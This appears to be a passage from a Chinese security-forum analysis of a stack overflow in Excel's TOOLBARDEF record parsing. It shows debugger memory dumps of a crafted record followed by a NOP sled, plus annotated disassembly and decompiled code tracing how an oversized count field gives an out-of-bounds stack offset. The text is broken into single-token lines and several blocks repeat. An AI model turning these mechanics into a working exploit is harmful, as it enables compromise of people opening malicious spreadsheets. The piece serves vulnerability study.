=
003b
gs
=
0000
efl
=
00000293
EXCEL!Ordinal41
+
0xce418
:
300ce418
0fb78100d48530
movzx eax,word ptr EXCEL!DllGetLCID
+
0xcbd2
(
3085d400
)[ecx] ds:
0023
:
3085d414
=
00a7
0
:
000
> db
3085d400
3085d400
09
08
10
00
00
06
00
04
-
aa
1f
cd
07
c9
00
05
00
................
3085d410
06
04
00
00
a7
00
04
00
-
b0
0f
0c
00
3c
00
00
03
............<...
3085d420
40
df d6 d5
3b
df d6 d5
-
3b
00
00
00
00
00
00
00
@...;...;.......
3085d430
00
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
3085d440
90
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
3085d450
90
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
3085d460
90
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
3085d470
90
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
0
:
000
> db
3085d400
3085d400
09
08
10
00
00
06
00
04
-
aa
1f
cd
07
c9
00
05
00
................
3085d410
06
04
00
00
a7
00
04
00
-
b0
0f
0c
00
3c
00
00
03
............<...
3085d420
40
df d6 d5
3b
df d6 d5
-
3b
00
00
00
00
00
00
00
@...;...;.......
3085d430
00
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
3085d440
90
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
3085d450
90
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
3085d460
90
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
3085d470
90
90
90
90
90
90
90
90
-
90
90
90
90
90
90
90
90
................
...
qmemcpy(dst, src
+
v5, length);
v4
-
=
length;
v5
=
length
+
src_idx;
dst
+
=
length;
src_idx
+
=
length;
...
...
qmemcpy(dst, src
+
v5, length);
v4
-
=
length;
v5
=
length
+
src_idx;
dst
+
=
length;
src_idx
+
=
length;
...
306df004
833da01c863005
cmp
dword ptr [EXCEL!DllGetLCID
+
0x11472
(
30861ca0
)],
5
/
/
这里保存的值没弄清楚是什么,但是这里保存的是
6
306df00b
8d0437
lea eax,[edi
+
esi]
/
/
esi
=
00000004
edi
=
001379fc
-
> eax
=
00137a00
edi保存的是之前复制
4
个字节时栈的起始地址
306df00e
0f9dc2
setge dl
/
/
根据比较结果,dl设置成
1
306df011
894574
mov dword ptr [ebp
+
74h
],eax
306df014
668b4701
mov ax,word ptr [edi
+
1
]
/
/
读取TOOLBARDEF中的cbtn字段:
0xc0f
306df018
0fbff0
movsx esi,ax
/
/
esi
=
0xc0f
306df01b
897538
mov dword ptr [ebp
+
38h
],esi
306df01e
8d541202
lea edx,[edx
+
edx
+
2
]
/
/
edx
=
4
306df022
0faff2
imul esi,edx
/
/
esi
=
0xc0f
*
4
=
0x303c
306df025
8d4f03
lea ecx,[edi
+
3
]
/
/
ecx
=
1379ff
306df028
03f1
add esi,ecx
/
/
esi
=
13aa3b
306df004
833da01c863005
cmp
dword ptr [EXCEL!DllGetLCID
+
0x11472
(
30861ca0
)],
5
/
/
这里保存的值没弄清楚是什么,但是这里保存的是
6
306df00b
8d0437
lea eax,[edi
+
esi]
/
/
esi
=
00000004
edi
=
001379fc
-
> eax
=
00137a00
edi保存的是之前复制
4
个字节时栈的起始地址
306df00e
0f9dc2
setge dl
/
/
根据比较结果,dl设置成
1
306df011
894574
mov dword ptr [ebp
+
74h
],eax
306df014
668b4701
mov ax,word ptr [edi
+
1
]
/
/
读取TOOLBARDEF中的cbtn字段:
0xc0f
306df018
0fbff0
movsx esi,ax
/
/
esi
=
0xc0f
306df01b
897538
mov dword ptr [ebp
+
38h
],esi
306df01e
8d541202
lea edx,[edx
+
edx
+
2
]
/
/
edx
=
4
306df022
0faff2
imul esi,edx
/
/
esi
=
0xc0f
*
4
=
0x303c
306df025
8d4f03
lea ecx,[edi
+
3
]
/
/
ecx
=
1379ff
306df028
03f1
add esi,ecx
/
/
esi
=
13aa3b
...
v70
=
0
;
tag
=
readData();
/
/
读取数据 得到
0xa7
length
=
readData();
/
/
读取TOOLBARDEF记录的长度,得到
0x4
v76
=
length;
v72
=
0
;
v67
=
0
;
if
( dword_30861C10 ) {
...
}
else
{
(sub_30007AD0)(v47[
0
]);
/
/
这里根据调试应该是在分配足够的栈空间
/
/
直接将esp减少了
0x2020
stack_start
=
v47;
v73
=
v47;
v58
=
0x2020
;
}
while
( tag !
=
0xA
&& tag !
=
0xC0
)
{
vulFun(&v53, stack_start, length,
0x2020u
);
/
/
读入TOOLBARDEF的四个字节,放入栈中
/
/
接下来的几个判断都没有通过
...
else
if
( tag
=
=
0xA7
)
/
/
直到这里,判断通过
{
cntn
=
&stack_start[length];
v76
=
&stack_start[length];
LOWORD(cntn)
=
*
(stack_start
+
1
);
/
/
读取TOOLBARDEF中的cntn字段:
0xc0f
v61
=
cntn;
new_dst_addr
=
&stack_start[(
2
*
(dword_30861CA0 >
=
5
)
+
2
)
*
cntn
+
3
];
/
/
这里根据cntn得到了一个很大的偏移量
v71
=
cntn;
four_bytes_end
=
(stack_start
+
3
);
/
/
指向的是复制的四个字节的结束位置
v75
=
2
*
(dword_30861CA0 >
=
5
)
+
2
;
...
v70
=
0
;
tag
=
readData();
/
/
读取数据 得到
0xa7
length
=
readData();
/
/
读取TOOLBARDEF记录的长度,得到
0x4
v76
=
length;
v72
=
0
;
v67
=
0
;
if
( dword_30861C10 ) {
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!